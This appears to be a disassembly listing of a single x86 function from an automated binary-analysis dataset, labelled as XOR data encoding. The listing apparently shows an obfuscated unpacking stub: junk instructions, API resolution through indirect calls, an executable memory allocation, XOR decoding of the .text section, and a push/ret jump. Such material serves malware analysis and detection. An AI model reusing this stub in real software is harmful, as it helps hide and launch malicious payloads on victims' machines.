Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x65d35a3
not esi
or eax, esi
add esi, esi
popal
add esi, 0x76d1f5e2
add eax, esi
mov eax, 0
mov ecx, esi
sub edi, 0x689c763c
add ebx, 1
mov edx, ecx
sub ebx, 1
sub edi, ebx
and ebx, ebx
mov esi, edx
or edi, edi
and ebx, ebx
inc eax
not edi
not ebx
sub edi, 0xa094e0ba
cmp eax, 0x10027c5
jne 0xa789c6
dec edi
and ebx, ebx
add edi, edi
sub esi, 0x2f35b483
add esi, 0x91d10d48
mov edi, 0xa78796
and edx, ecx
add edx, ecx
sub esi, 0x414f0036
mov eax, 0xa7898a
not edx
sub esi, 0x88124856
add edx, edx
mov ebx, dword [edi]
add edx, 0x9ef2e560
add esi, 1
and ebx, 0xff
or esi, esi
add esi, 1
xor dword [eax], ebx
sub ecx, 1
mov esi, 0xf5321447
inc eax
sub ecx, 1
and esi, edx
inc edi
sub edx, 0x9bc376d1
sub edx, 0xa1339eb3
sub esi, edx
cmp eax, entry0
jl 0xa78a2c
sub esi, 0x2be908
and edx, ecx
mov edx, esi
mov esi, 0x6926d471
not edx
mov edx, esi
sub ebx, 0x16310a90
inc ecx
and ebx, ebx
mov edx, 0xa7898e
add edi, ecx
add edi, 0x434d1f9c
add ebx, 0xa7c3f4f6
mov edx, dword [edx]
dec ebx
mov edi, 0x2e7364d2
mov edx, dword [edx]
not edi
or ebx, ecx
sub edi, 0xe3b10cd1
sub esp, 4
mov dword [esp], edx
or esi, esi
sub edi, ebx
mov esi, 0xf2edcc50
mov edx, 0xa7898a
mov ecx, edi
mov edi, ecx
mov edx, dword [edx]
inc ecx
add esi, 0xa8c27607
or edi, edi
mov edx, dword [edx]
add edi, esi
sub edi, ecx
push 0xa78992
not ebx
sub ebx, edi
call edx
mov ecx, edi
inc ecx
mov edi, ebx
pop edx
and edi, ebx
and ecx, edi
sub esi, 0xda920ad6
push 0xa7899f
add ecx, 0x9039956a
inc ecx
or esi, edi
push eax
and ebx, ebx
mov ecx, 0x6335a55a
call edx
mov ecx, 0xaac88bf8
mov ecx, ebx
mov esi, edi
push 0x40
not ecx
mov ecx, 0xbbee7d3d
inc esi
push 0x3000
inc ebx
mov ebx, 0x283d3f05
push 0x200003a9
mov ecx, edi
add ebx, 0xd36f2a54
push 0
sub esi, 0xaf54bc8f
mov edi, ecx
call eax
mov ebx, esi
and edi, ebx
add ecx, ebx
add eax, 0x200002ec
mov edi, esi
add esi, ecx
mov edx, 0x312089c
or edi, ebx
dec ecx
or edi, ebx
mov dword [eax], edx
or ebx, esi
and ebx, edi
mov esi, 0x9e7c5505
mov edx, dword [eax]
inc esi
add ecx, esi
and esi, ebx
cmp edx, 0x312089c
je 0xa78b90
mov ecx, 0
mov dword [ecx], eax
not esi
mov esi, 0xb90e1130
add ecx, 0xd89cff0d
add edi, ecx
add ecx, 1
sub ecx, 1
or esi, eax
sub esi, eax
sub eax, esi
mov ebx, section..text
add eax, 0x5d8d9118
sub eax, 1
mov edx, 0xa78795
sub esi, 1
sub esi, eax
mov ecx, 0
not esi
add eax, esi
not eax
mov edi, 0xa78796
add esi, esi
not eax
mov esi, 0x1261bc8f
lea edi, [edi + ecx]
inc esi
add esi, esi
mov edi, dword [edi]
mov eax, 0x7344cf7
dec esi
add eax, 0x3e10699d
and edi, 0xff
sub esi, eax
or esi, esi
inc ecx
dec esi
inc esi
cmp ecx, 0x1f4
jne 0xa78c16
mov ecx, 0
add esi, 0xcd9f144b
or esi, eax
or esi, esi
mov esi, 0xef3150d0
and esi, esi
sub eax, esi
xor dword [ebx], edi
sub eax, esi
add eax, 0x7679b838
add ebx, 2
inc eax
add esi, 0x91f50cfa
cmp ebx, edx
jl 0xa78bda
and esi, eax
add esi, eax
sub esi, 1
mov esi, 0x942fc987
sub eax, 0x5155064
add esi, 0x8be4f929
mov ecx, section..text
dec esi
sub ebx, 0xcf450f7e
and esi, ebx
mov eax, section..text
add esi, ebx
dec ebx
and esi, esi
mov edi, 0xa78795
or ebx, esi
sub esi, ebx
mov esi, 0x3361a9aa
mov edx, 0
sub ebx, esi
add esi, esi
mov dl, byte [eax]
not esi
or esi, ebx
mov byte [ecx], dl
add ebx, ebx
and esi, ebx
inc ecx
add ebx, esi
sub ebx, esi
sub ebx, 0x2e418373
add eax, 2
or ebx, ebx
dec esi
cmp eax, edi
jle 0xa78c92
sub esi, ebx
dec esi
dec esi
add eax, 0xbbee6b86
push 0x8dc6a0
not esi
or eax, esi
mov eax, 0xd5f43d94
ret